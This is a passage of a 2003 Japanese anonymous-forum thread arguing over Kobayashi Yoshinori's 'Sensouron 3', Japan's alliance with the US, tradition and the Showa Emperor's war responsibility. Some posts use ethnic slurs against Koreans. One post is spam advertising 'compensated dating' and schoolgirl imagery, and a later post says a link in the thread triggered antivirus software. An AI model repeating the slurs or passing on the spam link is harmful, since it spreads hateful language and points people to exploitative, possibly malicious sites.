アメリカとソ連どっちがいいかって・・・

ケツ穴犯されてなきゃ気が済まねえのかよ。

309 :名無しかましてよかですか?:03/07/29 16:11 ID:DW8OLGd0
>>304

あなたは「仮定」という議論の進め方をしらんのですか?


>>305

オウムか君は。

310 :名無しかましてよかですか?:03/07/29 16:11 ID:y/MgHoty
しかし小林よしのりもタイヘンだね
反戦サヨクとポチ保守と大多数のノンポリの共通認識
「日本は戦争できないので国家間の紛争はアメリカに任せるしかない」
に噛み付いたんだもんなー(w



311 :名無しかましてよかですか?:03/07/29 16:22 ID:EiHmBxww
 “命をかけても守るべき、生命・身体・財産以上の価値は何か ? ”
っていうのは、前回の朝生で宮崎哲弥から出された問いだったけど、
小林は明確に答えられずに逃げた。確かに難題だが、小林ですら提示
できないのか、、、と思ってがっかりした。でも、今回の作品の中では、
それは「伝統」だとして一つの答えを出してきた。
 それが正しいのかどうか、多くが賛同するか否かはまだわからないけれど、
一つの試みとしてそのような価値を提示してきたことは、評価に値すると
思う。

312 :名無しかましてよかですか?:03/07/29 16:24 ID:G9RnAOBn
むしろ、今の状態は伝統から脱却するチャンスだと思うが。

313 :名無しかましてよかですか?:03/07/29 16:26 ID:YK8NenfD
ところで、戦争論1、2山ずみでおいてある書店ありませんか?


314 :名無しかましてよかですか?:03/07/29 16:26 ID:HLlhcwFY
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315 :名無しかましてよかですか?:03/07/29 16:27 ID:e0uhNzS7
>>305
287を百回読め

論点ずらしているのはどう考えても君

316 :名無しかましてよかですか?:03/07/29 16:27 ID:y/MgHoty
>>312
既に脱却している説
脱却した結果がこのありさま説

317 :名無しかましてよかですか?:03/07/29 16:31 ID:Xpoxprlx
>>310
そうだね。この現状をすぐ変えることは無理だろうね。
でも小林のおかげでそれに疚しさを持つようになるかもしれない。
それがねらいなんだと思う

318 :嫌韓勇士 ◆quM58wnvXA :03/07/29 16:32 ID:MolQSnaG
>>312
その日本の伝統とは一体何なんだ?
伝統と一口に言うが伝統にも色々な物がある。
食べ物?歴史?風習?文化?
伝統って何だ?
何時の伝統だ?
明治の伝統か?
昭和か?
江戸か?
>>315
291、296。

319 :嫌韓勇士 ◆quM58wnvXA :03/07/29 16:36 ID:MolQSnaG
311ね

320 :名無しかましてよかですか?:03/07/29 16:36 ID:iyw0nVdD
>>318
時代が変わるごとに伝統や文化が遮断されていく国とは違うんだよ。
おめえは何を以て嫌韓といってるんだ?

321 :名無しかましてよかですか?:03/07/29 16:39 ID:kFBAK3Zy
一生懸命に描いているのはわかるが、やはりずれているな。
白人の残忍さや、アメの自己中ってのはわかりきった話で、それを前提にして、
この世界は運営されている。
それが気にいらないのは同感だが、当面はいまの現実を受け入れるしか、選択の余地はない。
20年後、30年後にアメの体制をうち倒せるかもしれないし、そう願いたいものだが、
それと、現在の国際関係下で取る選択と直接関係はない。

アメが如何に非道だとしても、イラクで反米の側にたった所で、何のメリットもない。
白人の一方の側のロシアフランスを利するだけの話だ。
常に勝者側にいて、将来での逆転を目指すべきだろう。安易に反米の立場に立ったところで、
失うモノばかりで得られるモノは無い。

日本には、徳川家康という格好のお手本が有ることだし。

322 :名無しかましてよかですか?:03/07/29 16:40 ID:xwKaNg1H
>>310
ほんとだね

323 :キウユダエウ氏:03/07/29 16:42 ID:Rgw1Gde8
 長谷川さんや小林はアメリカを処罰せよと言うけど、どのような過程でそうす
るんですか?
――――――――――――――――――――――――――――――――――――
 自分の国は自分で守れと言うのはわかる。でもそれができるにはかなりの時間が
かかるというか、現地点では不可能に近い。EUなどは、アメリカと同様テロリスト
に狙われてるけど、中共や北朝鮮といった巨大な脅威に見舞われていない。そこが
日本と大きな違いだ。はっきり言って日本が一番戦争に巻き込まれる可能性が高いの
じゃないですか、世界上でも。健全な国防力が育つまで、アメリカにも日本を防衛
してもらわなアカン。例え基地攻撃能力保持を実現して、核を持ったとしても中共の脅威
は計り知れないから、アメリカとはしっかりとした同盟関係を維持しておく必要があ
る。中共はアメリカの敵でもあるし。台湾も安全保障上、アメリカと日本の関係は重要だ
しさ。
 アメリカが日本から出て行ったら、台湾人はどうなるのですか。小林はそこも考えよ。
在日米軍の存在が、中共の台湾侵略に対する抑止力となってるのも事実。自分の国は自分
で守るべきと言う考え方は間違ってないが、現実を見なければならない。

324 :名無しかましてよかですか?:03/07/29 16:45 ID:pUVIllMP
>>321
そうそう! 
最近の小林に言いたいのはここなんだよな。
理想を実現するには手順が必要よ。

325 :名無しかましてよかですか?:03/07/29 16:45 ID:HbZDe5Xh
>>318はなかなかよい問題提起をしているな。
それと全く同じことを、経済産業省のシンクタンクにいる
研究員が「国民の道徳」に関して指摘している。この人は
東大経済学部卒で西部邁本人とも面識がある。結局、
ブサヨの西部が自分のウルトラブサヨぶりを隠蔽するために
「伝統」とか喚いているだけ。日本のネオコン、西部(w

http://www003.upp.so-net.ne.jp/ikeda/Nishibe.html
大きな話題になった「新しい歴史教科書」の影に隠れて、あまり話題に
ならなかったが、それと一緒に出された「公民」教科書をもとにした本。
分厚いが、内容は単純で、要するに「お国」を大事にしろ、なぜなら
それが日本の「伝統」だから、というものである。その「お国」が150年以上
前には存在しなかったことを著者は知らないわけではあるまい。大事にする
「伝統」がなぜ大日本帝国に限られなければならないのかも、ろくな説明がない。

326 ::03/07/29 16:46 ID:rX8BihcU
今日、書店で立ち読みしていたら、戦争論3を茶髪の女子大生
が買っていった。15分位で3人も。まさか、学校の課題図書で
もなかろう。
正直、驚いた。↑はきちんと読んでいないが、20年後は確かに
今とは国の基本が違っているかもしれない。ただ、そのころに
実際の戦争を体験した世代がいなくなってしまっているのは残
念だが。



327 :名無しかましてよかですか?:03/07/29 16:51 ID:zbSMRBsV
女子大生ってなんでわかったの?
学生証でも胸につけてたの?

328 :名無しかましてよかですか?:03/07/29 16:53 ID:Mr9LhqKU
>>326
なんかこの文章見覚えがある……。戦争論1かなんかの時のコピペ?

329 :嫌韓勇士 ◆quM58wnvXA :03/07/29 16:56 ID:MolQSnaG
>>320
答えに成ってないよ。ぜんぜん。
>おめえは何を以て嫌韓といってるんだ?
劣等チョンの歴史捏造、起源捏造、反日教育、犯罪を見て嫌わない奴はいるのか?


330 :名無しかましてよかですか?:03/07/29 17:18 ID:AZV7t5VQ
>>329

お前みたいなのを世間では 近 親 憎 悪 という(w

バスジャックがんがれや。

331 :名無しかましてよかですか?:03/07/29 17:24 ID:y/MgHoty
ま、とりあえず俺に出来ることと言えば
北朝鮮のミサイルで死ぬことになるかも知れないが
そのときはしかたがないと覚悟を決めることくらいだけどね

332 :韓国:03/07/29 17:28 ID:zbSMRBsV
>>329
オマエモナー

333 :名無しかましてよかですか?:03/07/29 17:51 ID:ND3XNwch
小林の言うことを鵜呑みにしてるコヴァは
「国益」をどういうものかちゃんと考えろ。
天皇陛下を頂いて、千年の時を越えた「日本」の
「国」をしっかり守っていく。これが「国益」だ。
日本人にとって天皇陛下よりも古く、重要で
繁栄と平和に貢献してきた「伝統」があるか?
その陛下を頂く「国」以上に大切なものがあるのか?

334 :名無しかましてよかですか?:03/07/29 17:55 ID:zT7z6EbY
>>333
読め。
国益と伝統の区別は作中に有る。

335 :名無しかましてよかですか?:03/07/29 17:59 ID:zbSMRBsV
>>333-334
寒杉

336 :嫌韓勇士 ◆quM58wnvXA :03/07/29 18:04 ID:MolQSnaG
>>334
「戦争論読め!書いてある通りだ!」
って言うコヴァをはじめてリアルタイムで見た。

337 :名無しかましてよかですか?:03/07/29 18:06 ID:9LllQG0F
小林嫌いの反論って、奇妙に感情的であったり、ものすごく単純な捉え方が多いんだよね。
何でだろ?

>>211
おめでとう

338 :名無しかましてよかですか?:03/07/29 18:11 ID:fNfiLFCF
>>337
そりゃ成りすましの反コヴァだろ。チョソかブサヨの(w
モノホンの反コヴァはこんなキモイスレに近寄らない(w













                                         と釣ってみる(w

339 ::03/07/29 18:11 ID:rX8BihcU
>328
いゃ、今日の有隣堂横浜店の情景なんだが。
俺と同じような感想を持った人が過去にもいたのかね。


340 :名無しかましてよかですか?:03/07/29 18:18 ID:Pe9NHZC4
>>333
◆姜尚中・田原総一郎の対談本『愛国心』で昭和天皇退位を主張する西部邁

西部邁「最低限はっきりしていることは、やっぱりサンフランシスコ講和条約の
あとで天皇は退位なさるべきだった」「僕が天皇に戦争責任があると思うのは、
戦争を始めたこととか、アメリカと戦争したことに対する責任じゃなくて、あのような
大敗北、世界史上類例を見ないような大敗北に日本国民を追い込んでいくときの、
少なくとも形式上の責任者であった以上、形式的な責任を取るべきということ」

341 :コヴァソゲリオソ:03/07/29 18:27 ID:CEMfID4c
遅レスになりますが、
>>254>>258
YYSKZG6Qの方、どうもありがとうございまする。

あなたの仰る通りでつ

342 :コヴァソゲリオソ:03/07/29 18:29 ID:CEMfID4c
>>321
>一生懸命に描いているのはわかるが、やはりずれているな。

はあ。

>白人の残忍さや、アメの自己中ってのはわかりきった話で、それを前提にして、
>この世界は運営されている。
>それが気にいらないのは同感だが、当面はいまの現実を受け入れるしか、選択の余地はない。

小林氏もまさにそう言ってますな。「現状では米支援やむなし」と。
その上で、「進んで米にすりよるな!心には反米を持て!!」と言っているのです。

>20年後、30年後にアメの体制をうち倒せるかもしれないし、そう願いたいものだが、
>それと、現在の国際関係下で取る選択と直接関係はない。

その通りですな。
小林氏も、まさに将来的な日本の真の独立を願っているからこそ、次代を担う我々に、
「いつの日か、絶対に真の独立を達成してやる!」という確固たる信念を託すために
戦争論3を著したんだと思います。

>アメが如何に非道だとしても、イラクで反米の側にたった所で、何のメリットもない。
>白人の一方の側のロシアフランスを利するだけの話だ。

メリットがあるか否かは、論者の視点によるでしょうね。

現在のようなアメリカの傍若無人なやり口がいつまでも通用するはずがない。
イラクでは毎日のように死傷者が出ており、このまま死傷者が増え続ければ、米世論が黙ってはいない。
アフガンからは04年6月をもって撤退すると宣言しているが、カブール以外の地域は危険すぎてマスコミの取材が
事実上不可能であるという一事を見ても、現地の混沌は想像を絶するのではないか。
こうしたアメリカの一連の軍事行動は、ベトナムの二の舞になる可能性が非常に大きい。
もしそうなった時、イの一番にブッシュ政権支持を打ち出した日本への風当たりはどうなるでしょう。
(続く)

343 :名無しかましてよかですか?:03/07/29 18:30 ID:ihdkovko
日本人が公の意識を取り戻したところでアメリカ以上の軍事力を持つことなど不可能。
なまじ軍事力をつけて粋がってたら月からSOLかなんかブチ込まれるかもなw
ま、焼け石に水ってこったよ。コヴァは完全密閉された牢獄でわめいてるようなもん。

344 :コヴァソゲリオソ:03/07/29 18:30 ID:CEMfID4c
(続き)
>常に勝者側にいて、将来での逆転を目指すべきだろう。安易に反米の立場に立ったところで、
>失うモノばかりで得られるモノは無い。

これは・・・まさに「ポチ保守」の意見そのものですな。
あまりにも強大な軍事力に怯え、近視眼的なものの見方しかできなくなっている。

長期的なスパンから見て、「ならず者」を地でいく今のアメリカが、最終的な勝利者たりうるとお思いか?
もはや、何が何でも「勝てば官軍」という時代は終わった(完全に終わったというわけでは無論ない)。
戦争をやるからには、それ相応の大義が必要で、あなたも「アメの自己中」と評したように、
アメリカの大義とやらは明らかにインチキ極まりないものだ。
そう遠くない未来において、
あなたの言う「白人の一方の側」のみならず、自国の民主党からも訴追される可能性がある。

翻すと、これはアメリカを失墜させるチャンスでもある。
だが、骨抜きにされた「ポチ」では、それを嗅ぎ付けることができない。

>日本には、徳川家康という格好のお手本が有ることだし。

そうですね。
どんな苦難にあっても、彼の胸のうちには、我々には遠く及ばないほどの強烈な信念があったはずです。
「徳川家独立の怨念」とも言うべきものが(w

再度言いますが、そうした確固たる「独立の信念」を日本人に涵養するために、
小林氏は戦争論3を著したのだと思われます。

345 :名無しかましてよかですか?:03/07/29 18:30 ID:lHHY5yiA
天皇陛下に責任も罪も無い。
マスゴミとチャンと組んで、自虐とは、とんだ反日ブサヨ学者だ。

346 :名無しかましてよかですか?:03/07/29 18:33 ID:zbSMRBsV
>>339
で、なんで女子大生だってわかったの?

347 :名無しかましてよかですか?:03/07/29 18:38 ID:ihdkovko
>>344
具体的な戦略もないのに感覚で未来を予想すんな。
無責任な立場っていいねえ。

348 :コヴァソゲリオソ:03/07/29 18:39 ID:CEMfID4c
>>345
無論、陛下ご自身には罪も責任もないが、
名目上でも統帥権を付与されたという「立場」には責任がつきまとう。

刑罰などはもってのほかだが、
退位という形で「責任の取り方」を示されれば、日本も今とは違った形になっていた
・・・かもしれない。
漏れとしては、陛下ご自身は退位をなさりたかったのだと思う。

何にせよ、スレ違いの話題であることは確か(w

349 :名無しかましてよかですか?:03/07/29 18:44 ID:zbSMRBsV
おれは普段はサヨクといわれることが多いんだが(ここで)
元首という立場におられた先帝陛下に対して「責任がない」
などというのは冒涜じゃないかと思うが。

と前々から言っていたのだが、にしべと同じこというのは
かなーり情けない。

350 : :03/07/29 18:45 ID:jum4J/S8
なぜ、戦前は小林君の言う「日本の伝統、道徳」が一国民までに
浸透していたのに、クソ米帝にあんなに大敗しちゃったんだ?

351 :コヴァソゲリオソ:03/07/29 18:54 ID:CEMfID4c
>>350
圧倒的な戦力差があったから。

352 :名無しかましてよかですか?:03/07/29 18:55 ID:jx5H0MEo
>>350
ばか?

353 :嫌韓勇士 ◆quM58wnvXA :03/07/29 18:56 ID:MolQSnaG
>>350
日本の戦略が糞だったから。
兵力差が有り過ぎたから。
戦略でも兵力でも負けるとは泣けてくる。

354 :名無しかましてよかですか?:03/07/29 18:58 ID:AGInHIOH
総合的な戦力の差だろ。

やる気のないプロサッカー選手と
命懸けの小学生チームが戦っても

前者がおそらく勝つっしょ。


355 :名無しかましてよかですか?:03/07/29 18:59 ID:fNfiLFCF
>>349
当時皇太子だった今上陛下はまだ幼少であったし
実際他の皇族方も問題のある方ばかりだったので
責任をとってご退位したくとも出来なかったと思うよ。
ご自身はかなりの責任を感じていらしたと思う。

あの戦後の混乱期においてあの重い責務をまっとう
されうる方は昭和天皇陛下以外にいなかったと思う、

いずれにせよ西部の言ってることはかなり的外れ。
その辺のブサヨクと同じ。

>>350
もっと他の本嫁!!ブサヨクの本でなくとも、しっかり
書いてある本は沢山ある!!


356 :コヴァソゲリオソ:03/07/29 19:01 ID:CEMfID4c
「伝統・道徳」は理念面。
「国力・戦力」は現実面。

双方に相関関係がないとは言わないが、
ダイレクトにつながってるわけでは決してない。

>>350
「道徳的な国民=戦争も強い」というのは
旧帝国陸軍幹部を彷彿とさせますなぁ。

357 : :03/07/29 19:03 ID:jum4J/S8
戦力差であることはわかっているよ。今も戦力差はあるわな。
反米するとしても今必要なのは、今後その差を埋めて、
アメリカに勝つという「具体的な方法、道筋」なんだな。

小林君の本にはそれがまったくないんだが?


358 :車輪 ◆taiyaRSvkM :03/07/29 19:07 ID:AGInHIOH
>>357

それは、この本というのは問題を提起するだけで、どうするかは
読者が考えろというスタンスをとっているからでしょ。

このスタンスが俺には無責任には感じるんだけど。
答えを出したら考えない読者も出てくるからなぁ。

359 : :03/07/29 19:08 ID:jum4J/S8
>>356
>「道徳的な国民=戦争も強い」というのは
>旧帝国陸軍幹部を彷彿とさせますなぁ。

いいこと言うね(w
帝国陸軍の連中は小林君の言う「日本の伝統、道徳」の権化の
ような奴らだったからね。

360 :名無しかましてよかですか?:03/07/29 19:08 ID:5/Glvdig
>>350
コヴァみたいのが、大量発生して、合理的な思考が無くなったからだろ(w

立憲主義を破壊し、軍事技術者が国士気取りで暴走を果たす。
これじゃあ亡国必至。

伝統主義は近代を否定する。
否定した以上は、近代国家としての強さなど、日本は持たない。


361 :コヴァソゲリオソ:03/07/29 19:13 ID:CEMfID4c
>>355
>当時皇太子だった今上陛下はまだ幼少であったし
>実際他の皇族方も問題のある方ばかりだったので
>責任をとってご退位したくとも出来なかったと思うよ。
>ご自身はかなりの責任を感じていらしたと思う。

>あの戦後の混乱期においてあの重い責務をまっとう
>されうる方は昭和天皇陛下以外にいなかったと思う、

禿同(w

>いずれにせよ西部の言ってることはかなり的外れ。
>その辺のブサヨクと同じ。

あの対談本の司会は田原総一朗氏だから、誘導されたっぽい(w
ライターも左寄りだったし(巻末の人名・事件・用語解説とか)

西部氏自身の「国民の道徳」(西部邁著)によれば、
「国際法でも国内法でも天皇に戦争責任なし」「天皇に政治的責任なし」と明記してる。
問題は「道徳的責任」なのだが・・・詳しくは読んでくれ(w
おまいさんとそうは違ってないと思う。

スレ違いなのでさげで


362 :名無しかましてよかですか?:03/07/29 19:16 ID:A632sLN+
>>342
なんだか、どっかで聞いたような発言だなあ

>その上で、「進んで米にすりよるな!心には反米を持て!!」と言っているのです。

それだけなら、全く問題なし。当初は(半年〜1年ほどまで)はそんなだった。
精神的自立を、などと言っていた。
ところが、イラク戦争前からおかしくなって、反米一辺倒になってしまった。
現実の政策に関してまで反米を主張するようになった。
反米のイデオロギー化だ(w

別に是々非々は良いんだが、反米を基調に据える必要はない。
今現在の日本の国益にとってbetterなものを選べばよい。


>現在のようなアメリカの傍若無人なやり口がいつまでも通用するはずがない。
>イラクでは毎日のように死傷者が出ており、このまま死傷者が増え続ければ、米世論が黙ってはいない。

これはおかしい。小林は、戦争前から反対だった。
戦争前の判断で、ここまで確定的に予測できてはいない。その状況で、二者択一をしなければならない状況だった。
その時点で、反米のスタンスを取るのは、危険が大きすぎる。
また、仮に米世論が反転しようとも、その件にかんして日本のデメリットはない。むしろ、反米を続けた場合の方が、反感を持たれるだろう。
こういうとまたポチだなんだというだろうが、一体その時点で、日本の国益がどlこに存在したのか、明言できるのか?
反米に何のメリットがあったのか?
ありゃしないよ。あの時の判断は完全に正しい。勿論今でもだ。

傍若無人と言うが、世界の30ー40ヶ国が賛成派兵している。みんなで渡れば怖くない、は国際間の真理だよ。
日本のかつてのミスは、大義を追求しすぎたところにあった。
他の国でそんなことしてるとこなんかないんだよ。あれば言ってくれ。あるか?

それから、このような(上記引用部分)の言いぐさは、典型的なサヨクの言葉だ。
「世界の流れ」などという妄想をもとに判断されちゃ困る。現実に立って欲しい。

363 :コヴァソゲリオソ:03/07/29 19:24 ID:CEMfID4c
>>358
>それは、この本というのは問題を提起するだけで、どうするかは
>読者が考えろというスタンスをとっているからでしょ。

若干違うかな。問題はわざわざ提起するまでもなく眼前に山積みだし。
小林氏は、これからの日本の針路を考えるにあたっての「大前提」を示したのでつ。

>このスタンスが俺には無責任には感じるんだけど。

ま、日本の舵取りを志そうとする若者は、そうは思わんでしょう。

>答えを出したら考えない読者も出てくるからなぁ。

そうでつね。

どっかで「アメリカにバレるとヤバイから(具体的な構想を)公にするわけにはいかない」
というようなことを冗談交じりで言ってたが(w
あれは半ば本気のジョークだろ。

364 :コヴァソゲリオソ:03/07/29 19:30 ID:CEMfID4c
>>362
なかなか興味深いレスでつね

申し訳ないが、すぐにはレスできん。
また、後で。

365 :名無しかましてよかですか?:03/07/29 19:30 ID:ihdkovko
>>358
誰が答えを出すかなんつーお遊びをしてる場合じゃないだろうw
結局、コヴァもわかんないんだよね。どうしたらいいか。
高校野球の熱血監督が強豪に対して
「気合だ!気合!あとは何とかなる!この学校には由緒ある伝統があるんだ!」
なんて言ってるのと同じ。
戦争論3の趣旨はこの場合戦力差に冷めてる現実的な部員を馬鹿にしてるだけ。

366 :名無しかましてよかですか?:03/07/29 19:35 ID:kmvg8yf4
>>365
>戦力差に冷めてる現実的な部員

たのもしい人たちですね

367 :名無しかましてよかですか?:03/07/29 19:41 ID:ihdkovko
>>366
気合を入れようが入れまいが導かれる現実は一つ「負け」
今大事なのは気合じゃなくて戦力うpなんだよ。
コヴァはひたすら「気合気合」「伝統伝統」を連呼するだけで進歩ないダメ監督。

368 :名無しかましてよかですか?:03/07/29 19:41 ID:G+H/to7d
>長期的なスパンから見て、「ならず者」を地でいく今のアメリカが、最終的な勝利者たりうるとお思いか?

だ か ら、その時点でアメを放置すればいい。日本はそんな例を戦国時代に一杯持ってるじゃないか。
なんで何時来るかわからない時の対応を、今しなきゃならないんだ?
離合集散は、古代中国から近代ヨーロッパまで国際間の常態だ。


>戦争をやるからには、それ相応の大義が必要で、あなたも「アメの自己中」と評したように、
>アメリカの大義とやらは明らかにインチキ極まりないものだ。

ところが、その自己中が力をもっているんだよ。信長も秀吉も家康もナポレオンも始皇帝も全部自己中。
道徳的に戦った国がどこにあるんだ?


>そう遠くない未来において、
>あなたの言う「白人の一方の側」のみならず、自国の民主党からも訴追される可能性がある。

ナンセンスだ。アメが自己を訴追するはずはない。


>翻すと、これはアメリカを失墜させるチャンスでもある。
>だが、骨抜きにされた「ポチ」では、それを嗅ぎ付けることができない。

今の時点でこんなことなんか、全然無理だ。妄想の類。ソ連のように崩壊して貰うしかない。
世界のどこの国もそんなこと考えちゃいない。


>再度言いますが、そうした確固たる「独立の信念」を日本人に涵養するために、
小林氏は戦争論3を著したのだと思われます。

その気持ちが無いとは言わないが、現状の彼は単なる反米屋、親中、親韓、親北(このあたりも理由不明で怪しい)、
おかしなスタンスを取っている。どういうわけで、拉致家族会を非難するのか、何考えてんだろ。

369 :名無しかましてよかですか?:03/07/29 19:55 ID:kmvg8yf4
>>368
>親中、親韓、親北

そんなこと書いたらだめでしょう

370 :名無しかましてよかですか?:03/07/29 19:55 ID:P7l96ScM
伝統・文化を持ち出すのなら、三島由紀夫の文化防衛論とか、
太陽と鉄とか読んだ方がマシ。

371 : :03/07/29 20:08 ID:jum4J/S8
>日本の舵取りを志そうとする若者
なんだかますます帝国陸軍の若手将校みたいになってきたな(w

>確固たる「独立の信念」
それを聞くとインパール作戦の牟田口廉也の「必勝の信念」を思い出すねぇ。
やっぱり、コヴァと帝国陸軍って似てるんじゃないか?


372 :名無しかましてよかですか?:03/07/29 20:11 ID:wFe32Fwn
>>368
>親中、親韓、親北

どこをどう読んだらそうなるのか不思議。

あえて言うなら
親台湾 親東南アジア 親イスラム諸国じゃないか?


373 :名無しかましてよかですか?:03/07/29 20:15 ID:C0//1BfA
>>372
親中は言い過ぎかもしれんが、何故か、半島方面に関しては批判は弱い。何故なんだ?
オウムを批判する程度には批判しても良いはずじゃないか?
あの辺りほど、個人が自立していなくて、大義も道徳も歴史も放擲している国はないぞ。
親イスラムは、反米の結果じゃないか?
東南アジアは当面関係なし。

374 :名無しかましてよかですか?:03/07/29 20:16 ID:wFe32Fwn
>>371
>やっぱり、コヴァと帝国陸軍って似てるんじゃないか?

当たり前だ、今の日本人に比べれば帝国陸軍のがよっぽどましって
考えだろ?彼は。


375 :名無しかましてよかですか?:03/07/29 20:18 ID:wFe32Fwn
>>373
そうかな?
半島、中国の嫌らしさについては、言い尽くした感じがするが・・・
もうそれは彼の中では常識なんじゃないの?


376 ::03/07/29 20:21 ID:rX8BihcU
>>346

>で、なんで女子大生だってわかったの?
いわれて見ればそうですね。短大生かも知れないし、プーかも知れないし。
まぁそのくらいの感じの子ってことだよ。

377 :名無しかましてよかですか?:03/07/29 20:21 ID:PLLSLMBo



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          {`ヽ、  `>┴ 、`. ,' /,-'  / }       ゴーマソかまして        !  ヽ-._|∧∧|ニVニ-' ├'   i
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             └ァ-ヽ    V二ニT   /
             / / ,.ヽ、   〉 l. 〈.   ∧、


378 :コヴァソゲリオソ:03/07/29 20:37 ID:CEMfID4c
>>362
>ところが、イラク戦争前からおかしくなって、反米一辺倒になってしまった。
>現実の政策に関してまで反米を主張するようになった。
>反米のイデオロギー化だ(w

んなこたーない。
「わしはイラク戦争不支持!」とハッキリ言ってるのは確かだが、
「日本の政治の現状では米に追随するしかないだろう」と、半ば諦観気味に容認している。
小林氏が問題にしてるのは、あくまでも「何の疑いもなしに、イの一番に米支持を表明したこと」だからね。

>別に是々非々は良いんだが、反米を基調に据える必要はない。
>今現在の日本の国益にとってbetterなものを選べばよい。

ですな。
ところが、小泉首相やら産経新聞やらは「断固親米!」なもんだから、小林氏も黙っておれなかったと。

>>現在のようなアメリカの傍若無人なやり口がいつまでも通用するはずがない。
>>イラクでは毎日のように死傷者が出ており、このまま死傷者が増え続ければ、米世論が黙ってはいない。

>これはおかしい。小林は、戦争前から反対だった。

そうですね。なにがおかしいのかはわかりませんが。
(続く)

379 :コヴァソゲリオソ:03/07/29 20:38 ID:CEMfID4c
(続き)
>戦争前の判断で、ここまで確定的に予測できてはいない。その状況で、二者択一をしなければならない状況だった。
>その時点で、反米のスタンスを取るのは、危険が大きすぎる。
>また、仮に米世論が反転しようとも、その件にかんして日本のデメリットはない。むしろ、反米を続けた場合の方が、反感を持たれるだろう。
>こういうとまたポチだなんだというだろうが、一体その時点で、日本の国益がどlこに存在したのか、明言できるのか?
>反米に何のメリットがあったのか?
>ありゃしないよ。あの時の判断は完全に正しい。勿論今でもだ。

小林氏は最初から「戦後」を見据えて、日本の国益を判断していた。
「絶対アメリカが勝つが、いずれ大義のない戦争をしたしっぺ返しを食らう」と。
米国は「戦闘終了宣言」は出したが、未だ戦争が終わったわけではないのは周知の事実だ。

>傍若無人と言うが、世界の30ー40ヶ国が賛成派兵している。みんなで渡れば怖くない、は国際間の真理だよ。

そういうのを主体性の欠如と言う。

>日本のかつてのミスは、大義を追求しすぎたところにあった。

いや。戦略的ミスと戦術的ミスの積み重ね。

>他の国でそんなことしてるとこなんかないんだよ。あれば言ってくれ。あるか?

あるな。
今のアメリカを見ろよ。「世界中に自由と民主を!!」とかいう大義を追求しまくって何人殺してるやら。

>それから、このような(上記引用部分)の言いぐさは、典型的なサヨクの言葉だ。
>「世界の流れ」などという妄想をもとに判断されちゃ困る。現実に立って欲しい。

サヨクもウヨクも関係ない。
「世界の流れ」を妄想としか取れないなら、「アメリカに怯える近視眼的なポチ」と呼ぶしかない。

後は、「戦後」を待つことだな。小林氏の是非は歴史が証明するだろう。

380 :名無しかましてよかですか?:03/07/29 20:38 ID:CLxcp5/C
ラインホルド・ニーバーくらい読んどけや

381 :嫌韓勇士 ◆quM58wnvXA :03/07/29 20:42 ID:MolQSnaG
>>ところが、小泉首相やら産経新聞やらは「断固親米!」なもんだから、小林氏も黙っておれなかったと。
おーい、小泉が米支持を表明した時に見せたやつれた声と顔を見なかったのか?


382 :嫌韓勇士 ◆quM58wnvXA :03/07/29 20:44 ID:MolQSnaG
「国民の皆様には日本が置かれている状況に対して理解するお願い申し上げます」
と言う言葉を知らんのか?

383 :名無しかましてよかですか?:03/07/29 21:00 ID:Jq7yGRsc
嫌韓勇士氏のまとまった考えを聞きたいです。
国策について、支持する政治家・言論人について、などよろしければ

384 :名無しかましてよかですか?:03/07/29 21:05 ID:zbSMRBsV
犬スロなんだろ?


385 :名無しかましてよかですか?:03/07/29 21:47 ID:jx5H0MEo
>>368
>だ か ら、その時点でアメを放置すればいい。日本はそんな例を戦国時代に一杯持ってるじゃないか。
>なんで何時来るかわからない時の対応を、今しなきゃならないんだ?

「その時点でアメを放置する」段階では日本は改憲、自衛隊国軍化、攻撃力強化は済ませてなければならないよね。
でも君ら「現実派」は今はその段階じゃないと言う。上記引用こそ絵に描いた餅であって現実的ではないな。
戦国時代の経験を生かせる状態に日本はなってなきゃいけないでしょ。

いつ来るか分からないからこそ平時に準備しておくべきでしょ。


386 :名無しかましてよかですか?:03/07/29 21:56 ID:k3sjVpFv
すでに誰かが書いてたらスマソ
全員レベル99にした結果、トルネコは最終的にライアンとほとんど同じステータスになった。
まあ、トルネコは命令違反がある分やはりライアンのが強いんだが。途中からライアンは全然ステータス伸びなくなったな。
勇者とマーニャのHPが爆発的に伸び始めた。とにかくマーニャのステータスの伸び方が激しかった。力もかなり高くなる。
最もHPが高くなったのは勇者。次いでピサロ。ライアンは案外大した事ない。最下位はブライ。
素早さはもちろんアリーナがトップだが、ほしふるうでわという物があるせいで別にどうでもよかったりする。
MPはぶっちぎりマーニャがトップ。800以上にもなった。ブライと比べると、まさに雲泥の差がある。
ピサロもバイキルトを使える以上、PS版でのブライの存在価値は無に等しい。
あと、これは攻略本に載ってるかもしれないが、成長速度にもかなり差が出た。一番早く99に到達したのはライアン。次いでトルネコ。
マーニャとブライの魔法使いコンビが最も遅かった。ピサロは意外と成長が早い。
全員99での最強PTは
勇者・ピサロ・マーニャ・アリーナ
だと思われる(この時点ではもうマーニャの方がアリーナよりHPも守備力も断然高い)
エグチキ戦では3ターンで勝利し、エビプリ戦も回復は勇者のベホマズン一回で十分間に合った。
「ギガソード・マダンテ&ムーンサルト・メラゾーマ・キラーピアスで2回攻撃」

387 :名無しかましてよかですか?:03/07/29 22:08 ID:Ov7xPX/5
>>386
日本はブライかクリフトなのか?

388 :名無しかましてよかですか?:03/07/29 22:13 ID:DAHNdU4z
今日買って読んだよ。
戦争論1⇒2⇒3の順でよくなっているね。
一軒の本屋は売り切れてたョ
8月15日前に発売ってタイミングも良いね。
今年も8月15日は喧喧諤諤の祭ですなあ。

389 :_:03/07/29 22:15 ID:fBUkanRb
http://homepage.mac.com/hiroyuki44/

390 :名無しかましてよかですか?:03/07/29 22:22 ID:fNfiLFCF
>>388
藻前の脳味噌が1⇒2⇒3と読むたびにイカレテきたとオモワレ(w

391 :名無しかましてよかですか?:03/07/29 22:25 ID:vDqVIo6M
>>390
ワラタ

392 :名無しかましてよかですか?:03/07/29 22:36 ID:pURt+ueu
今のよしりんを取り巻いているのは、彼がかつて嘲笑した「純粋まっすぐ君」達ですか?

393 :名無しかましてよかですか?:03/07/29 22:37 ID:fNfiLFCF
>>392
っていうか小林本人が既に「純粋まっすぐ君」でつ(www

394 :名無しかましてよかですか?:03/07/29 22:40 ID:Nd5MXOXX
巨乳、援交、女子校生ならここ
無料画像あり
http://www.cappuchinko.com/


395 :名無しかましてよかですか?:03/07/29 22:42 ID:sfvVK7zy
ノートンのアンチウイルスに引っかかったわけだが

それはともかく、
今日、立ち読みした。
「左翼にとっても面白い」部分がどこなのか、よく分からなかった。
反米論調のことを言ってたのだろうか。

396 :388:03/07/29 22:43 ID:DAHNdU4z
>>390
うまい。参りますた(w


